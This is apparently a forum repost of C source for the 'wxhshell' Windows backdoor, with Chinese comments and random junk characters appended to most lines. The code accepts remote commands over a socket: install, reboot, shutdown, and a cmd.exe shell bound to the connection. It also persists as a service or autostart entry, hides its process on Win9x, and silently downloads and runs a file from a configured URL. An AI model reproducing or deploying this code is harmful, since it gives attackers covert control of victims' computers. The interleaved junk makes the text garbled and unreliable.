  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -J++b2R\%  
  } 9bD ER  
  else { |LE*R@|3$  
^2mCF  
    switch(cmd[0]) { hle@= e/n  
  %UCuI9  
  // 帮助 Fw6x (j"  
  case '?': { pbqJtBBDDS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3L;&MG=  
    break; _\AT_Zmy  
  } </qli-fXB}  
  // 安装 J8h H#7WMS  
  case 'i': { 1@Rl^ey  
    if(Install()) =z2g}X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]ov"&,J  
    else o]0\Km  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M\=/i\-  
    break; /^Zgv-n  
    } 0+_:^z  
  // 卸载 yzz(<s:o/  
  case 'r': { )H<F([Jri  
    if(Uninstall()) y;tX`5(fe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A<cnIUW  
    else K<"Y4O#]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 icy&'  
    break; zA&]#mc  
    } WO{9S%ck  
  // 显示 wxhshell 所在路径 +p &$`(  
  case 'p': { {I QCA-AI  
    char svExeFile[MAX_PATH]; WSV% Oy3V  
    strcpy(svExeFile,"\n\r"); ~`VD}{[,B  
      strcat(svExeFile,ExeFile); =%d0MZD  
        send(wsh,svExeFile,strlen(svExeFile),0); W sDFui  
    break; YXTd^M~@D  
    } [f-<M@id/  
  // 重启 >^d+;~Q;  
  case 'b': { fvw&y+|y!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :JG2xtn  
    if(Boot(REBOOT)) YDiru  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hkR Jqta)  
    else { (1;%V>,L  
    closesocket(wsh); 4CioVQdj  
    ExitThread(0); )Jd{WC.  
    } m#t  
    break; (J\Qo9Il  
    } 3AarRQWsn  
  // 关机 1EA}[x  
  case 'd': { m-}6DN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZbLN:g}  
    if(Boot(SHUTDOWN)) _iW-i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O.wk*m!9  
    else { -'::$ {  
    closesocket(wsh); )Xd2qbi  
    ExitThread(0); F5/,H:K\  
    } kI#yW!  
    break; y ;T=u(}  
    } d i#:KW  
  // 获取shell NFlrr*=t>  
  case 's': { %z AN@  
    CmdShell(wsh); .5?Md  
    closesocket(wsh); >tVD[wVF0  
    ExitThread(0); -nC!kpo  
    break; -$5nqaK?  
  } ? Glkhf7(  
  // 退出 GbbD)  
  case 'x': { e=EM07z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L9(!L$  
    CloseIt(wsh); `1)n2<B  
    break; 7%Ii:5Bp  
    } (%f2ZNen  
  // 离开 (= ,w$  
  case 'q': { +#0,2 wR#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ttC+`0+H  
    closesocket(wsh); ~:lN("9OI  
    WSACleanup(); }e0)=*;l  
    exit(1); Zk75GC  
    break; ,[0rh%%j  
        } <{b#nPc!,#  
  } PEHaH"|([=  
  } s9}VnNr  
!JVpR]lWS  
  // 提示信息 dEM=U;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iWu^m+"k  
} rJ}k!}G  
  } i2+vUl|;Z  
>6zXr.  
  return; a76`"(W  
} V61.UEN  
NKS-G2 Y<P  
// shell模块句柄 {pW(@4U  
int CmdShell(SOCKET sock) M4(`o^n  
{ ITu5Y"x  
STARTUPINFO si;  Gu P1  
ZeroMemory(&si,sizeof(si)); 60&4?<lR4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ImVHX~ qHJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d 1bx5U  
PROCESS_INFORMATION ProcessInfo; dTW3mF4=  
char cmdline[]="cmd"; q2KWSh5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $mp'/]  
  return 0; Ik74%x7G`  
} b(.,Ex]  
orzy &4  
// 自身启动模式 .ITR3]$  
int StartFromService(void) nPS:T|*G  
{ X[ up$<  
typedef struct $S _VR  
{ QUU'/e2^c  
  DWORD ExitStatus; &lYe  
  DWORD PebBaseAddress; *wetPt)~v_  
  DWORD AffinityMask; j9Y'HU5"  
  DWORD BasePriority; &DgJu.  
  ULONG UniqueProcessId; qC aM]Y  
  ULONG InheritedFromUniqueProcessId; kan4P@XVS  
}   PROCESS_BASIC_INFORMATION; l&1R`gcW  
nofK(0TF  
PROCNTQSIP NtQueryInformationProcess; juc;]CHt'  
geB]~/-p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ue22,Pp6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8f0Ytfhw  
4?)-;Hx_X  
  HANDLE             hProcess; t&99ZdE  
  PROCESS_BASIC_INFORMATION pbi; &;O)Dw  
'-[~I>o%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p+>vX X  
  if(NULL == hInst ) return 0; #XJ`/\E]  
/}=Bi-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0ynvn9@t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,S7 g=(27(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KDzTe9  
2XN];,{  
  if (!NtQueryInformationProcess) return 0; R |h(SXa  
BE]PM nI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wkwsBi  
  if(!hProcess) return 0; )+S^{tt  
~qxuD_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "dO>P*k,  
Hkck=@>8H*  
  CloseHandle(hProcess); U F ]g6u  
XV> )[Nd\H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P,@ :?6  
if(hProcess==NULL) return 0; NlnmeTLO5  
Y uo  
HMODULE hMod; atA:v3"  
char procName[255]; s,|s;w*.  
unsigned long cbNeeded; <(U :v  
:UgCP ~Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2l9RU}  
Z7t-{s64  
  CloseHandle(hProcess); *?GV(/Q  
8={ " j  
if(strstr(procName,"services")) return 1; // 以服务启动 7CKh?>  
lB Y"@N  
  return 0; // 注册表启动 L~])?d  
} 3\Ma)\>R\-  
g,N"o72)  
// 主模块 IfdgMELk  
int StartWxhshell(LPSTR lpCmdLine) MSw:Ay [9  
{ i$:\,  
  SOCKET wsl; X( H-U q*(  
BOOL val=TRUE; g^dPAjPQ  
  int port=0; sZ!/uN!6  
  struct sockaddr_in door; CI };$4W~  
XvIrO]F-  
  if(wscfg.ws_autoins) Install(); C/{tvY /o  
eZ^-gk?  
port=atoi(lpCmdLine); -:|1>og  
&b#O=LF  
if(port<=0) port=wscfg.ws_port; `1eGsd,f  
z` :uvEX0  
  WSADATA data; =U_WrY<F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SqF9#&F  
e(NpX_8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rprtp5Cg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xxN=,p  
  door.sin_family = AF_INET; wwtk6;8@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mz~aSbb|  
  door.sin_port = htons(port); C/w!Y)nB=  
%j3 *j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8=%%C:  
closesocket(wsl); i"{ \ >  
return 1; 'L"dM9#>  
} )fo9Qwe  
>,Zf3M  
  if(listen(wsl,2) == INVALID_SOCKET) { V>`xTQG  
closesocket(wsl); vl'2O7  
return 1; %0z&k!P  
} SbLx`]rI  
  Wxhshell(wsl); #$GDKK  
  WSACleanup(); O#e'.n!rI  
`]{/(pIgW;  
return 0; !\0UEC  
nM)q;9-ni  
} HktvUJ(Ii  
-|l^- Qf!  
// 以NT服务方式启动 Q[+o\{ O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x-:a5Kz!  
{ `zjEs8`'  
DWORD   status = 0; ,c%>M^d  
  DWORD   specificError = 0xfffffff; 7n1@m_7O  
)K4A-9pC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j(`L)/|O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )4hb%U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )@ /!B`  
  serviceStatus.dwWin32ExitCode     = 0; i5>]$j1/  
  serviceStatus.dwServiceSpecificExitCode = 0; F|3 =Cl  
  serviceStatus.dwCheckPoint       = 0; O+Zt*jN;  
  serviceStatus.dwWaitHint       = 0; 39w|2%(O.  
]0VjVU-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _IA@X. )?  
  if (hServiceStatusHandle==0) return; XL/?v" /  
` R;6]/I?  
status = GetLastError(); /GK1}h  
  if (status!=NO_ERROR) yJ(p-3O5  
{ M mjeFv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RE72%w(oM  
    serviceStatus.dwCheckPoint       = 0; 26c,hPIeXY  
    serviceStatus.dwWaitHint       = 0; V0,%g+.^  
    serviceStatus.dwWin32ExitCode     = status; , 8NY<sFh  
    serviceStatus.dwServiceSpecificExitCode = specificError; c({V[eGY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JO4rU- n  
    return; Pw^ lp'dO  
  } ZR~ *Yofy  
}4!R2c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8u,f<XHi"a  
  serviceStatus.dwCheckPoint       = 0; E6{|zF/3'  
  serviceStatus.dwWaitHint       = 0; iI2 7N'g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); liW0v!jBo  
} 1CkBfK  
0i[,`>-Av  
// 处理NT服务事件,比如:启动、停止 ,Qgxf';+$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Jl(9)e  
{ Ix;9D'^}  
switch(fdwControl) Q1fJ`A=  
{ q F \a]e  
case SERVICE_CONTROL_STOP: 7j&iHL  
  serviceStatus.dwWin32ExitCode = 0; #|\NG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nV|H5i;N7  
  serviceStatus.dwCheckPoint   = 0; eB`7C"Z  
  serviceStatus.dwWaitHint     = 0; K[%)_KW  
  { ,DN>aEu1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;TAf[[P  
  } ?N 6'*2{NT  
  return; v'"0Ya  
case SERVICE_CONTROL_PAUSE: =tJ}itcJ'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pq 4/>WzE  
  break; $"d< F3k  
case SERVICE_CONTROL_CONTINUE: 'n7 )()"2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )Q_^f'4  
  break; hJavi>374  
case SERVICE_CONTROL_INTERROGATE: < sJ  
  break; KaJCfu yp  
}; w`kn!k8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e12.suv  
} yG)zrRU  
zj ;'0Zu  
// 标准应用程序主函数 Y<'T;@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6!|-,t><  
{ 2]Nc@wX`p  
: Gp,d*M  
// 获取操作系统版本 f$G{7%9*  
OsIsNt=GetOsVer(); jl;%?bx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iRo/~(  
""GeO%J8  
  // 从命令行安装 Jww LAQ5  
  if(strpbrk(lpCmdLine,"iI")) Install(); !TJCQ[Aa }  
1 m)WM,L  
  // 下载执行文件 >tfy\PY:  
if(wscfg.ws_downexe) { UN7>c0B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "r6DZi(^K  
  WinExec(wscfg.ws_filenam,SW_HIDE); wI!>IV(5  
} ?U~9d"2=  
<P)vx  
if(!OsIsNt) { #$&!)13  
// 如果时win9x,隐藏进程并且设置为注册表启动 k_p4 f%9  
HideProc(); xef@-%mcoy  
StartWxhshell(lpCmdLine); *_ 2db   
} D<=:9  
else nE!h&}(  
  if(StartFromService()) (nWi9(}J  
  // 以服务方式启动 A.a UWh  
  StartServiceCtrlDispatcher(DispatchTable); E2M|b  
else -nbo[K  
  // 普通方式启动 86c@Kk7z  
  StartWxhshell(lpCmdLine); 8+ P)V4}  
f%Y'7~9bA  
return 0; a?4'',~  
}
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只看该作者 1 发表于: 2006-10-10
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